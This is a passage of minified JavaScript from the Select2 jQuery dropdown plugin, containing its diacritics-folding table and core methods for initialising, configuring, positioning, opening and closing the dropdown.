112<=(t=t.which||t)&&t<=123}},i={"Ⓐ":"A","A":"A","À":"A","Á":"A","Â":"A","Ầ":"A","Ấ":"A","Ẫ":"A","Ẩ":"A","Ã":"A","Ā":"A","Ă":"A","Ằ":"A","Ắ":"A","Ẵ":"A","Ẳ":"A","Ȧ":"A","Ǡ":"A","Ä":"A","Ǟ":"A","Ả":"A","Å":"A","Ǻ":"A","Ǎ":"A","Ȁ":"A","Ȃ":"A","Ạ":"A","Ậ":"A","Ặ":"A","Ḁ":"A","Ą":"A","Ⱥ":"A","Ɐ":"A","Ꜳ":"AA","Æ":"AE","Ǽ":"AE","Ǣ":"AE","Ꜵ":"AO","Ꜷ":"AU","Ꜹ":"AV","Ꜻ":"AV","Ꜽ":"AY","Ⓑ":"B","B":"B","Ḃ":"B","Ḅ":"B","Ḇ":"B","Ƀ":"B","Ƃ":"B","Ɓ":"B","Ⓒ":"C","C":"C","Ć":"C","Ĉ":"C","Ċ":"C","Č":"C","Ç":"C","Ḉ":"C","Ƈ":"C","Ȼ":"C","Ꜿ":"C","Ⓓ":"D","D":"D","Ḋ":"D","Ď":"D","Ḍ":"D","Ḑ":"D","Ḓ":"D","Ḏ":"D","Đ":"D","Ƌ":"D","Ɗ":"D","Ɖ":"D","Ꝺ":"D","DZ":"DZ","DŽ":"DZ","Dz":"Dz","Dž":"Dz","Ⓔ":"E","E":"E","È":"E","É":"E","Ê":"E","Ề":"E","Ế":"E","Ễ":"E","Ể":"E","Ẽ":"E","Ē":"E","Ḕ":"E","Ḗ":"E","Ĕ":"E","Ė":"E","Ë":"E","Ẻ":"E","Ě":"E","Ȅ":"E","Ȇ":"E","Ẹ":"E","Ệ":"E","Ȩ":"E","Ḝ":"E","Ę":"E","Ḙ":"E","Ḛ":"E","Ɛ":"E","Ǝ":"E","Ⓕ":"F","F":"F","Ḟ":"F","Ƒ":"F","Ꝼ":"F","Ⓖ":"G","G":"G","Ǵ":"G","Ĝ":"G","Ḡ":"G","Ğ":"G","Ġ":"G","Ǧ":"G","Ģ":"G","Ǥ":"G","Ɠ":"G","Ꞡ":"G","Ᵹ":"G","Ꝿ":"G","Ⓗ":"H","H":"H","Ĥ":"H","Ḣ":"H","Ḧ":"H","Ȟ":"H","Ḥ":"H","Ḩ":"H","Ḫ":"H","Ħ":"H","Ⱨ":"H","Ⱶ":"H","Ɥ":"H","Ⓘ":"I","I":"I","Ì":"I","Í":"I","Î":"I","Ĩ":"I","Ī":"I","Ĭ":"I","İ":"I","Ï":"I","Ḯ":"I","Ỉ":"I","Ǐ":"I","Ȉ":"I","Ȋ":"I","Ị":"I","Į":"I","Ḭ":"I","Ɨ":"I","Ⓙ":"J","J":"J","Ĵ":"J","Ɉ":"J","Ⓚ":"K","K":"K","Ḱ":"K","Ǩ":"K","Ḳ":"K","Ķ":"K","Ḵ":"K","Ƙ":"K","Ⱪ":"K","Ꝁ":"K","Ꝃ":"K","Ꝅ":"K","Ꞣ":"K","Ⓛ":"L","L":"L","Ŀ":"L","Ĺ":"L","Ľ":"L","Ḷ":"L","Ḹ":"L","Ļ":"L","Ḽ":"L","Ḻ":"L","Ł":"L","Ƚ":"L","Ɫ":"L","Ⱡ":"L","Ꝉ":"L","Ꝇ":"L","Ꞁ":"L","LJ":"LJ","Lj":"Lj","Ⓜ":"M","M":"M","Ḿ":"M","Ṁ":"M","Ṃ":"M","Ɱ":"M","Ɯ":"M","Ⓝ":"N","N":"N","Ǹ":"N","Ń":"N","Ñ":"N","Ṅ":"N","Ň":"N","Ṇ":"N","Ņ":"N","Ṋ":"N","Ṉ":"N","Ƞ":"N","Ɲ":"N","Ꞑ":"N","Ꞥ":"N","NJ":"NJ","Nj":"Nj","Ⓞ":"O","O":"O","Ò":"O","Ó":"O","Ô":"O","Ồ":"O","Ố":"O","Ỗ":"O","Ổ":"O","Õ":"O","Ṍ":"O","Ȭ":"O","Ṏ":"O","Ō":"O","Ṑ":"O","Ṓ":"O","Ŏ":"O","Ȯ":"O","Ȱ":"O","Ö":"O","Ȫ":"O","Ỏ":"O","Ő":"O","Ǒ":"O","Ȍ":"O","Ȏ":"O","Ơ":"O","Ờ":"O","Ớ":"O","Ỡ":"O","Ở":"O","Ợ":"O","Ọ":"O","Ộ":"O","Ǫ":"O","Ǭ":"O","Ø":"O","Ǿ":"O","Ɔ":"O","Ɵ":"O","Ꝋ":"O","Ꝍ":"O","Ƣ":"OI","Ꝏ":"OO","Ȣ":"OU","Ⓟ":"P","P":"P","Ṕ":"P","Ṗ":"P","Ƥ":"P","Ᵽ":"P","Ꝑ":"P","Ꝓ":"P","Ꝕ":"P","Ⓠ":"Q","Q":"Q","Ꝗ":"Q","Ꝙ":"Q","Ɋ":"Q","Ⓡ":"R","R":"R","Ŕ":"R","Ṙ":"R","Ř":"R","Ȑ":"R","Ȓ":"R","Ṛ":"R","Ṝ":"R","Ŗ":"R","Ṟ":"R","Ɍ":"R","Ɽ":"R","Ꝛ":"R","Ꞧ":"R","Ꞃ":"R","Ⓢ":"S","S":"S","ẞ":"S","Ś":"S","Ṥ":"S","Ŝ":"S","Ṡ":"S","Š":"S","Ṧ":"S","Ṣ":"S","Ṩ":"S","Ș":"S","Ş":"S","Ȿ":"S","Ꞩ":"S","Ꞅ":"S","Ⓣ":"T","T":"T","Ṫ":"T","Ť":"T","Ṭ":"T","Ț":"T","Ţ":"T","Ṱ":"T","Ṯ":"T","Ŧ":"T","Ƭ":"T","Ʈ":"T","Ⱦ":"T","Ꞇ":"T","Ꜩ":"TZ","Ⓤ":"U","U":"U","Ù":"U","Ú":"U","Û":"U","Ũ":"U","Ṹ":"U","Ū":"U","Ṻ":"U","Ŭ":"U","Ü":"U","Ǜ":"U","Ǘ":"U","Ǖ":"U","Ǚ":"U","Ủ":"U","Ů":"U","Ű":"U","Ǔ":"U","Ȕ":"U","Ȗ":"U","Ư":"U","Ừ":"U","Ứ":"U","Ữ":"U","Ử":"U","Ự":"U","Ụ":"U","Ṳ":"U","Ų":"U","Ṷ":"U","Ṵ":"U","Ʉ":"U","Ⓥ":"V","V":"V","Ṽ":"V","Ṿ":"V","Ʋ":"V","Ꝟ":"V","Ʌ":"V","Ꝡ":"VY","Ⓦ":"W","W":"W","Ẁ":"W","Ẃ":"W","Ŵ":"W","Ẇ":"W","Ẅ":"W","Ẉ":"W","Ⱳ":"W","Ⓧ":"X","X":"X","Ẋ":"X","Ẍ":"X","Ⓨ":"Y","Y":"Y","Ỳ":"Y","Ý":"Y","Ŷ":"Y","Ỹ":"Y","Ȳ":"Y","Ẏ":"Y","Ÿ":"Y","Ỷ":"Y","Ỵ":"Y","Ƴ":"Y","Ɏ":"Y","Ỿ":"Y","Ⓩ":"Z","Z":"Z","Ź":"Z","Ẑ":"Z","Ż":"Z","Ž":"Z","Ẓ":"Z","Ẕ":"Z","Ƶ":"Z","Ȥ":"Z","Ɀ":"Z","Ⱬ":"Z","Ꝣ":"Z","ⓐ":"a","a":"a","ẚ":"a","à":"a","á":"a","â":"a","ầ":"a","ấ":"a","ẫ":"a","ẩ":"a","ã":"a","ā":"a","ă":"a","ằ":"a","ắ":"a","ẵ":"a","ẳ":"a","ȧ":"a","ǡ":"a","ä":"a","ǟ":"a","ả":"a","å":"a","ǻ":"a","ǎ":"a","ȁ":"a","ȃ":"a","ạ":"a","ậ":"a","ặ":"a","ḁ":"a","ą":"a","ⱥ":"a","ɐ":"a","ꜳ":"aa","æ":"ae","ǽ":"ae","ǣ":"ae","ꜵ":"ao","ꜷ":"au","ꜹ":"av","ꜻ":"av","ꜽ":"ay","ⓑ":"b","b":"b","ḃ":"b","ḅ":"b","ḇ":"b","ƀ":"b","ƃ":"b","ɓ":"b","ⓒ":"c","c":"c","ć":"c","ĉ":"c","ċ":"c","č":"c","ç":"c","ḉ":"c","ƈ":"c","ȼ":"c","ꜿ":"c","ↄ":"c","ⓓ":"d","d":"d","ḋ":"d","ď":"d","ḍ":"d","ḑ":"d","ḓ":"d","ḏ":"d","đ":"d","ƌ":"d","ɖ":"d","ɗ":"d","ꝺ":"d","dz":"dz","dž":"dz","ⓔ":"e","e":"e","è":"e","é":"e","ê":"e","ề":"e","ế":"e","ễ":"e","ể":"e","ẽ":"e","ē":"e","ḕ":"e","ḗ":"e","ĕ":"e","ė":"e","ë":"e","ẻ":"e","ě":"e","ȅ":"e","ȇ":"e","ẹ":"e","ệ":"e","ȩ":"e","ḝ":"e","ę":"e","ḙ":"e","ḛ":"e","ɇ":"e","ɛ":"e","ǝ":"e","ⓕ":"f","f":"f","ḟ":"f","ƒ":"f","ꝼ":"f","ⓖ":"g","g":"g","ǵ":"g","ĝ":"g","ḡ":"g","ğ":"g","ġ":"g","ǧ":"g","ģ":"g","ǥ":"g","ɠ":"g","ꞡ":"g","ᵹ":"g","ꝿ":"g","ⓗ":"h","h":"h","ĥ":"h","ḣ":"h","ḧ":"h","ȟ":"h","ḥ":"h","ḩ":"h","ḫ":"h","ẖ":"h","ħ":"h","ⱨ":"h","ⱶ":"h","ɥ":"h","ƕ":"hv","ⓘ":"i","i":"i","ì":"i","í":"i","î":"i","ĩ":"i","ī":"i","ĭ":"i","ï":"i","ḯ":"i","ỉ":"i","ǐ":"i","ȉ":"i","ȋ":"i","ị":"i","į":"i","ḭ":"i","ɨ":"i","ı":"i","ⓙ":"j","j":"j","ĵ":"j","ǰ":"j","ɉ":"j","ⓚ":"k","k":"k","ḱ":"k","ǩ":"k","ḳ":"k","ķ":"k","ḵ":"k","ƙ":"k","ⱪ":"k","ꝁ":"k","ꝃ":"k","ꝅ":"k","ꞣ":"k","ⓛ":"l","l":"l","ŀ":"l","ĺ":"l","ľ":"l","ḷ":"l","ḹ":"l","ļ":"l","ḽ":"l","ḻ":"l","ſ":"l","ł":"l","ƚ":"l","ɫ":"l","ⱡ":"l","ꝉ":"l","ꞁ":"l","ꝇ":"l","lj":"lj","ⓜ":"m","m":"m","ḿ":"m","ṁ":"m","ṃ":"m","ɱ":"m","ɯ":"m","ⓝ":"n","n":"n","ǹ":"n","ń":"n","ñ":"n","ṅ":"n","ň":"n","ṇ":"n","ņ":"n","ṋ":"n","ṉ":"n","ƞ":"n","ɲ":"n","ʼn":"n","ꞑ":"n","ꞥ":"n","nj":"nj","ⓞ":"o","o":"o","ò":"o","ó":"o","ô":"o","ồ":"o","ố":"o","ỗ":"o","ổ":"o","õ":"o","ṍ":"o","ȭ":"o","ṏ":"o","ō":"o","ṑ":"o","ṓ":"o","ŏ":"o","ȯ":"o","ȱ":"o","ö":"o","ȫ":"o","ỏ":"o","ő":"o","ǒ":"o","ȍ":"o","ȏ":"o","ơ":"o","ờ":"o","ớ":"o","ỡ":"o","ở":"o","ợ":"o","ọ":"o","ộ":"o","ǫ":"o","ǭ":"o","ø":"o","ǿ":"o","ɔ":"o","ꝋ":"o","ꝍ":"o","ɵ":"o","ƣ":"oi","ȣ":"ou","ꝏ":"oo","ⓟ":"p","p":"p","ṕ":"p","ṗ":"p","ƥ":"p","ᵽ":"p","ꝑ":"p","ꝓ":"p","ꝕ":"p","ⓠ":"q","q":"q","ɋ":"q","ꝗ":"q","ꝙ":"q","ⓡ":"r","r":"r","ŕ":"r","ṙ":"r","ř":"r","ȑ":"r","ȓ":"r","ṛ":"r","ṝ":"r","ŗ":"r","ṟ":"r","ɍ":"r","ɽ":"r","ꝛ":"r","ꞧ":"r","ꞃ":"r","ⓢ":"s","s":"s","ß":"s","ś":"s","ṥ":"s","ŝ":"s","ṡ":"s","š":"s","ṧ":"s","ṣ":"s","ṩ":"s","ș":"s","ş":"s","ȿ":"s","ꞩ":"s","ꞅ":"s","ẛ":"s","ⓣ":"t","t":"t","ṫ":"t","ẗ":"t","ť":"t","ṭ":"t","ț":"t","ţ":"t","ṱ":"t","ṯ":"t","ŧ":"t","ƭ":"t","ʈ":"t","ⱦ":"t","ꞇ":"t","ꜩ":"tz","ⓤ":"u","u":"u","ù":"u","ú":"u","û":"u","ũ":"u","ṹ":"u","ū":"u","ṻ":"u","ŭ":"u","ü":"u","ǜ":"u","ǘ":"u","ǖ":"u","ǚ":"u","ủ":"u","ů":"u","ű":"u","ǔ":"u","ȕ":"u","ȗ":"u","ư":"u","ừ":"u","ứ":"u","ữ":"u","ử":"u","ự":"u","ụ":"u","ṳ":"u","ų":"u","ṷ":"u","ṵ":"u","ʉ":"u","ⓥ":"v","v":"v","ṽ":"v","ṿ":"v","ʋ":"v","ꝟ":"v","ʌ":"v","ꝡ":"vy","ⓦ":"w","w":"w","ẁ":"w","ẃ":"w","ŵ":"w","ẇ":"w","ẅ":"w","ẘ":"w","ẉ":"w","ⱳ":"w","ⓧ":"x","x":"x","ẋ":"x","ẍ":"x","ⓨ":"y","y":"y","ỳ":"y","ý":"y","ŷ":"y","ỹ":"y","ȳ":"y","ẏ":"y","ÿ":"y","ỷ":"y","ẙ":"y","ỵ":"y","ƴ":"y","ɏ":"y","ỿ":"y","ⓩ":"z","z":"z","ź":"z","ẑ":"z","ż":"z","ž":"z","ẓ":"z","ẕ":"z","ƶ":"z","ȥ":"z","ɀ":"z","ⱬ":"z","ꝣ":"z","Ά":"Α","Έ":"Ε","Ή":"Η","Ί":"Ι","Ϊ":"Ι","Ό":"Ο","Ύ":"Υ","Ϋ":"Υ","Ώ":"Ω","ά":"α","έ":"ε","ή":"η","ί":"ι","ϊ":"ι","ΐ":"ι","ό":"ο","ύ":"υ","ϋ":"υ","ΰ":"υ","ω":"ω","ς":"σ"},a=v(document),o=1,y=function(){return o++},t=P(Object,{bind:function(t){var e=this;return function(){t.apply(e,arguments)}},init:function(t){var o,e,n,i,s=".select2-results",a=(this.opts=t=this.prepareOpts(t),this.id=t.id,t.element.data("select2")!==b&&null!==t.element.data("select2")&&t.element.data("select2").destroy(),this.container=this.createContainer(),this.liveRegion=v(".select2-hidden-accessible"),0==this.liveRegion.length&&(this.liveRegion=v("<span>",{role:"status","aria-live":"polite"}).addClass("select2-hidden-accessible").appendTo(document.body)),this.containerId="s2id_"+(t.element.attr("id")||"autogen"+y()),this.containerEventName=this.containerId.replace(/([.])/g,"_").replace(/([;&,\-\.\+\*\~':"\!\^#$%@\[\]\(\)=>\|])/g,"\\$1"),this.container.attr("id",this.containerId),this.container.attr("title",t.element.attr("title")),this.body=v(document.body),w(this.container,this.opts.element,this.opts.adaptContainerCssClass),this.container.attr("style",t.element.attr("style")),this.container.css(A(t.containerCss,this.opts.element)),this.container.addClass(A(t.containerCssClass,this.opts.element)),this.elementTabIndex=this.opts.element.attr("tabindex"),this.opts.element.data("select2",this).attr("tabindex","-1").before(this.container).on("click.select2",_),this.container.data("select2",this),this.dropdown=this.container.find(".select2-drop"),w(this.dropdown,this.opts.element,this.opts.adaptDropdownCssClass),this.dropdown.addClass(A(t.dropdownCssClass,this.opts.element)),this.dropdown.data("select2",this),this.dropdown.on("click",_),this.results=o=this.container.find(s),this.search=e=this.container.find("input.select2-input"),this.queryCount=0,this.resultsPage=0,this.context=null,this.initContainer(),this.container.on("click",_),this.results.on("mousemove",function(t){var e=r;e!==b&&e.x===t.pageX&&e.y===t.pageY||v(t.target).trigger("mousemove-filtered",t)}),this.dropdown.on("mousemove-filtered",s,this.bind(this.highlightUnderEvent)),this.dropdown.on("touchstart touchmove touchend",s,this.bind(function(t){this._touchEvent=!0,this.highlightUnderEvent(t)})),this.dropdown.on("touchmove",s,this.bind(this.touchMoved)),this.dropdown.on("touchstart touchend",s,this.bind(this.clearTouchMoved)),this.dropdown.on("click",this.bind(function(t){this._touchEvent&&(this._touchEvent=!1,this.selectHighlighted())})),a=80,n=this.results,i=S(a,function(t){n.trigger("scroll-debounced",t)}),n.on("scroll",function(t){0<=u(t.target,n.get())&&i(t)}),this.dropdown.on("scroll-debounced",s,this.bind(this.loadMoreIfNeeded)),v(this.container).on("change",".select2-input",function(t){t.stopPropagation()}),v(this.dropdown).on("change",".select2-input",function(t){t.stopPropagation()}),v.fn.mousewheel&&o.mousewheel(function(t,e,n,i){var s=o.scrollTop();0<i&&s-i<=0?(o.scrollTop(0),_(t)):i<0&&o.get(0).scrollHeight-o.scrollTop()+i<=o.height()&&(o.scrollTop(o.get(0).scrollHeight-o.height()),_(t))}),g(e),e.on("keyup-change input paste",this.bind(this.updateResults)),e.on("focus",function(){e.addClass("select2-focused")}),e.on("blur",function(){e.removeClass("select2-focused")}),this.dropdown.on("mouseup",s,this.bind(function(t){0<v(t.target).closest(".select2-result-selectable").length&&(this.highlightUnderEvent(t),this.selectHighlighted(t))})),this.dropdown.on("click mouseup mousedown touchstart touchend focusin",function(t){t.stopPropagation()}),this.lastSearchTerm=b,v.isFunction(this.opts.initSelection)&&(this.initSelection(),this.monitorSource()),null!==t.maximumInputLength&&this.search.attr("maxlength",t.maximumInputLength),t.element.prop("disabled")),s=(this.enable(!(a=a===b?!1:a)),t.element.prop("readonly"));this.readonly(s=s===b?!1:s),m=m||((a=v("<div class='select2-measure-scrollbar'></div>")).appendTo(document.body),s={width:a.width()-a[0].clientWidth,height:a.height()-a[0].clientHeight},a.remove(),s),this.autofocus=t.element.prop("autofocus"),t.element.prop("autofocus",!1),this.autofocus&&this.focus(),this.search.attr("placeholder",t.searchInputPlaceholder)},destroy:function(){var t=this.opts.element,e=t.data("select2"),n=this;this.close(),t.length&&t[0].detachEvent&&n._sync&&t.each(function(){n._sync&&this.detachEvent("onpropertychange",n._sync)}),this.propertyObserver&&(this.propertyObserver.disconnect(),this.propertyObserver=null),this._sync=null,e!==b&&(e.container.remove(),e.liveRegion.remove(),e.dropdown.remove(),t.removeData("select2").off(".select2"),t.is("input[type='hidden']")?t.css("display",""):(t.show().prop("autofocus",this.autofocus||!1),this.elementTabIndex?t.attr({tabindex:this.elementTabIndex}):t.removeAttr("tabindex"),t.show())),M.call(this,"container","liveRegion","dropdown","results","search")},optionToData:function(t){return t.is("option")?{id:t.prop("value"),text:t.text(),element:t.get(),css:t.attr("class"),disabled:t.prop("disabled"),locked:d(t.attr("locked"),"locked")||d(t.data("locked"),!0)}:t.is("optgroup")?{text:t.attr("label"),children:[],element:t.get(),css:t.attr("class")}:void 0},prepareOpts:function(g){var t,e,n,m=this,a=g.element;if("select"===a.get(0).tagName.toLowerCase()&&(this.select=t=g.element),t&&v.each(["id","multiple","ajax","query","createSearchChoice","initSelection","data","tags"],function(){if(this in g)throw new Error("Option '"+this+"' is not allowed for Select2 when attached to a <select> element.")}),g.debug=g.debug||v.fn.select2.defaults.debug,g.debug&&console&&console.warn&&(null!=g.id&&console.warn("Select2: The `id` option has been removed in Select2 4.0.0, consider renaming your `id` property or mapping the property before your data makes it to Select2. You can read more at https://select2.github.io/announcements-4.0.html#changed-id"),null!=g.text&&console.warn("Select2: The `text` option has been removed in Select2 4.0.0, consider renaming your `text` property or mapping the property before your data makes it to Select2. You can read more at https://select2.github.io/announcements-4.0.html#changed-id"),null!=g.sortResults&&console.warn("Select2: the `sortResults` option has been renamed to `sorter` in Select2 4.0.0. "),null!=g.selectOnBlur&&console.warn("Select2: The `selectOnBlur` option has been renamed to `selectOnClose` in Select2 4.0.0."),null!=g.ajax&&null!=g.ajax.results&&console.warn("Select2: The `ajax.results` option has been renamed to `ajax.processResults` in Select2 4.0.0."),null!=g.formatNoResults&&console.warn("Select2: The `formatNoResults` option has been renamed to `language.noResults` in Select2 4.0.0."),null!=g.formatSearching&&console.warn("Select2: The `formatSearching` option has been renamed to `language.searching` in Select2 4.0.0."),null!=g.formatInputTooShort&&console.warn("Select2: The `formatInputTooShort` option has been renamed to `language.inputTooShort` in Select2 4.0.0."),null!=g.formatInputTooLong&&console.warn("Select2: The `formatInputTooLong` option has been renamed to `language.inputTooLong` in Select2 4.0.0."),null!=g.formatLoading&&console.warn("Select2: The `formatLoading` option has been renamed to `language.loadingMore` in Select2 4.0.0."),null!=g.formatSelectionTooBig&&console.warn("Select2: The `formatSelectionTooBig` option has been renamed to `language.maximumSelected` in Select2 4.0.0."),g.element.data("select2Tags"))&&console.warn("Select2: The `data-select2-tags` attribute has been renamed to `data-tags` in Select2 4.0.0."),null!=g.element.data("tags")&&(n=g.element.data("tags"),v.isArray(n)||(n=[]),g.element.data("select2Tags",n)),null!=g.sorter&&(g.sortResults=g.sorter),null!=g.selectOnClose&&(g.selectOnBlur=g.selectOnClose),null!=g.ajax&&v.isFunction(g.ajax.processResults)&&(g.ajax.results=g.ajax.processResults),null!=g.language&&(n=g.language,v.isFunction(n.noMatches)&&(g.formatNoMatches=n.noMatches),v.isFunction(n.searching)&&(g.formatSearching=n.searching),v.isFunction(n.inputTooShort)&&(g.formatInputTooShort=n.inputTooShort),v.isFunction(n.inputTooLong)&&(g.formatInputTooLong=n.inputTooLong),v.isFunction(n.loadingMore)&&(g.formatLoading=n.loadingMore),v.isFunction(n.maximumSelected))&&(g.formatSelectionTooBig=n.maximumSelected),"function"!=typeof(g=v.extend({},{populateResults:function(t,e,u){var d=this.opts.id,p=this.liveRegion,f=function(t,e,n){for(var i,s,o,a,r,l=[],c=0,h=(t=g.sortResults(t,e,u)).length;c<h;c+=1)a=!(r=!0===(i=t[c]).disabled)&&d(i)!==b,s=i.children&&0<i.children.length,(o=v("<li></li>")).addClass("select2-results-dept-"+n),o.addClass("select2-result"),o.addClass(a?"select2-result-selectable":"select2-result-unselectable"),r&&o.addClass("select2-disabled"),s&&o.addClass("select2-result-with-children"),o.addClass(m.opts.formatResultCssClass(i)),o.attr("role","presentation"),(a=v(document.createElement("div"))).addClass("select2-result-label"),a.attr("id","select2-result-label-"+y()),a.attr("role","option"),(r=g.formatResult(i,a,u,m.opts.escapeMarkup))!==b&&(a.html(r),o.append(a)),s&&((r=v("<ul></ul>")).addClass("select2-result-sub"),f(i.children,r,n+1),o.append(r)),o.data("select2-data",i),l.push(o[0]);e.append(l),p.text(g.formatMatches(t.length))};f(e,t,0)}},v.fn.select2.defaults,g)).id&&(e=g.id,g.id=function(t){return t[e]}),v.isArray(g.element.data("select2Tags"))){if("tags"in g)throw"tags specified as both an attribute 'data-select2-tags' and in options of Select2 "+g.element.attr("id");g.tags=g.element.data("select2Tags")}if(t?(g.query=this.bind(function(i){var t,n={results:[],more:!1},s=i.term,o=function(t,e){var n;t.is("option")?i.matcher(s,t.text(),t)&&e.push(m.optionToData(t)):t.is("optgroup")&&(n=m.optionToData(t),t.children().each2(function(t,e){o(e,n.children)}),0<n.children.length)&&e.push(n)},e=a.children();(e=this.getPlaceholder()!==b&&0<e.length&&(t=this.getPlaceholderOption())?e.not(t):e).each2(function(t,e){o(e,n.results)}),i.callback(n)}),g.id=function(t){return t.id}):"query"in g||("ajax"in g?((n=g.element.data("ajax-url"))&&0<n.length&&(g.ajax.url=n),g.query=x.call(g.element,g.ajax)):"data"in g?g.query=k(g.data):"tags"in g&&(g.query=D(g.tags),g.createSearchChoice===b&&(g.createSearchChoice=function(t){return{id:v.trim(t),text:v.trim(t)}}),g.initSelection===b)&&(g.initSelection=function(t,e){var n=[];v(p(t.val(),g.separator,g.transformVal)).each(function(){var t={id:this,text:this},e=g.tags;v.isFunction(e)&&(e=e()),v(e).each(function(){if(d(this.id,t.id))return t=this,!1}),n.push(t)}),e(n)})),"function"!=typeof g.query)throw"query function not defined for Select2 "+g.element.attr("id");if("top"===g.createSearchChoicePosition)g.createSearchChoicePosition=function(t,e){t.unshift(e)};else if("bottom"===g.createSearchChoicePosition)g.createSearchChoicePosition=function(t,e){t.push(e)};else if("function"!=typeof g.createSearchChoicePosition)throw"invalid createSearchChoicePosition option must be 'top', 'bottom' or a custom function";return g},monitorSource:function(){var t,e=this.opts.element,n=this;e.on("change.select2",this.bind(function(t){!0!==this.opts.element.data("select2-change-triggered")&&this.initSelection()})),this._sync=this.bind(function(){var t=e.prop("disabled"),t=(this.enable(!(t=t===b?!1:t)),e.prop("readonly"));this.readonly(t=t===b?!1:t),this.container&&(w(this.container,this.opts.element,this.opts.adaptContainerCssClass),this.container.addClass(A(this.opts.containerCssClass,this.opts.element))),this.dropdown&&(w(this.dropdown,this.opts.element,this.opts.adaptDropdownCssClass),this.dropdown.addClass(A(this.opts.dropdownCssClass,this.opts.element)))}),e.length&&e[0].attachEvent&&e.each(function(){this.attachEvent("onpropertychange",n._sync)}),(t=window.MutationObserver||window.WebKitMutationObserver||window.MozMutationObserver)!==b&&(this.propertyObserver&&(delete this.propertyObserver,this.propertyObserver=null),this.propertyObserver=new t(function(t){v.each(t,n._sync)}),this.propertyObserver.observe(e.get(0),{attributes:!0,subtree:!1}))},triggerSelect:function(t){t=v.Event("select2-selecting",{val:this.id(t),object:t,choice:t});return this.opts.element.trigger(t),!t.isDefaultPrevented()},triggerChange:function(t){t=v.extend({},t=t||{},{type:"change",val:this.val()}),this.opts.element.data("select2-change-triggered",!0),this.opts.element.trigger(t),this.opts.element.data("select2-change-triggered",!1),this.opts.element.click(),this.opts.blurOnChange&&this.opts.element.blur()},isInterfaceEnabled:function(){return!0===this.enabledInterface},enableInterface:function(){var t=this._enabled&&!this._readonly;return t!==this.enabledInterface&&(this.container.toggleClass("select2-container-disabled",!t),this.close(),this.enabledInterface=t,!0)},enable:function(t){this._enabled!==(t=t===b||t)&&(this._enabled=t,this.opts.element.prop("disabled",!t),this.enableInterface())},disable:function(){this.enable(!1)},readonly:function(t){this._readonly!==(t=t!==b&&t)&&(this._readonly=t,this.opts.element.prop("readonly",t),this.enableInterface())},opened:function(){return!!this.container&&this.container.hasClass("select2-dropdown-open")},positionDropdown:function(){var t,e,n=this.dropdown,i=this.container,s=i.offset(),o=i.outerHeight(!1),a=i.outerWidth(!1),r=n.outerHeight(!1),l=v(window),c=l.width(),h=l.height(),u=l.scrollLeft()+c,h=l.scrollTop()+h,d=s.top+o,p=s.left,h=d+r<=h,f=s.top-r>=l.scrollTop(),g=n.outerWidth(!1);n.hasClass("select2-drop-above")?(t=!0,!f&&h&&(t=!(e=!0))):(t=!1,!h&&f&&(t=e=!0)),e&&(n.hide(),s=this.container.offset(),o=this.container.outerHeight(!1),a=this.container.outerWidth(!1),r=n.outerHeight(!1),u=l.scrollLeft()+c,l.scrollTop(),d=s.top+o,p=s.left,g=n.outerWidth(!1),n.show(),this.focusSearch()),this.opts.dropdownAutoWidth?(h=v(".select2-results",n)[0],n.addClass("select2-drop-auto-width"),n.css("width",""),a<(g=n.outerWidth(!1)+(h.scrollHeight===h.clientHeight?0:m.width))?a=g:g=a,r=n.outerHeight(!1)):this.container.removeClass("select2-drop-auto-width"),"static"!==this.body.css("position")&&(d-=(f=this.body.offset()).top,p-=f.left),e={left:p=!(p+g<=u)&&s.left+u+i.outerWidth(!1)>g?s.left+this.container.outerWidth(!1)-g:p,width:a},t?(this.container.addClass("select2-drop-above"),n.addClass("select2-drop-above"),r=n.outerHeight(!1),e.top=s.top-r,e.bottom="auto"):(e.top=d,e.bottom="auto",this.container.removeClass("select2-drop-above"),n.removeClass("select2-drop-above")),e=v.extend(e,A(this.opts.dropdownCss,this.opts.element)),n.css(e)},shouldOpen:function(){var t;return!this.opened()&&!1!==this._enabled&&!0!==this._readonly&&(t=v.Event("select2-opening"),this.opts.element.trigger(t),!t.isDefaultPrevented())},clearDropdownAlignmentPreference:function(){this.container.removeClass("select2-drop-above"),this.dropdown.removeClass("select2-drop-above")},open:function(){return!!this.shouldOpen()&&(this.opening(),a.on("mousemove.select2Event",function(t){r.x=t.pageX,r.y=t.pageY}),!0)},opening:function(){var n,t=this.containerEventName,e="scroll."+t,i="resize."+t,s="orientationchange."+t,o=(this.container.addClass("select2-dropdown-open").addClass("select2-container-active"),this.clearDropdownAlignmentPreference(),this.dropdown[0]!==this.body.children().last()[0]&&this.dropdown.detach().appendTo(this.body),0===(n=v("#select2-drop-mask")).length&&((n=v(document.createElement("div"))).attr("id","select2-drop-mask").attr("class","select2-drop-mask"),n.hide(),n.appendTo(this.body),n.on("mousedown touchstart click",function(t){l(n);var e=v("#select2-drop");0<e.length&&((e=e.data("select2")).opts.selectOnBlur&&e.selectHighlighted({noFocus:!0}),e.close(),t.preventDefault(),t.stopPropagation())})),this.dropdown.prev()[0]!==n[0]&&this.dropdown.before(n),v("#select2-drop").removeAttr("id"),this.dropdown.attr("id","select2-drop"),n.show(),this.positionDropdown(),this.dropdown.show(),this.positionDropdown(),this.dropdown.addClass("select2-drop-active"),this);this.container.parents().add(window).each(function(){v(this).on(i+" "+e+" "+s,function(t){o.opened()&&o.positionDropdown()})})},close:function(){var t,e,n,i;this.opened()&&(t=this.containerEventName,e="scroll."+t,n="resize."+t,i="orientationchange."+t,this.container.parents().add(window).each(function(){v(this).off(e).off(n).off(i)}),this.clearDropdownAlignmentPreference(),v("#select2-drop-mask").hide(),this.dropdown.removeAttr("id"),this.dropdown.hide(),this.container.removeClass("select2-dropdown-open").removeClass("select2-container-active"),this.results.empty(),a.off("mousemove.select2Event"),this.clearSearch(),this.search.removeClass("select2-active"),this.search.removeAttr("aria-activedescendant"),this.opts.element.trigger(v.Event("select2-close")))},externalSearch:function(t){this.open(),this.search.val(t),this.updateResults(!1)},clearSearch:function(){},prefillNextSearchTerm:function(){var t;return""===this.search.val()&&(t=this.opts.nextSearchTerm(this.data(),this.lastSearchTerm))!==b&&(this.search.val(t),this.search.select(),!0)},getMaximumSelectionSize:function(){return A(this.opts.maximumSelectionSize,this.opts.element)},ensureHighlightVisible:function(){var 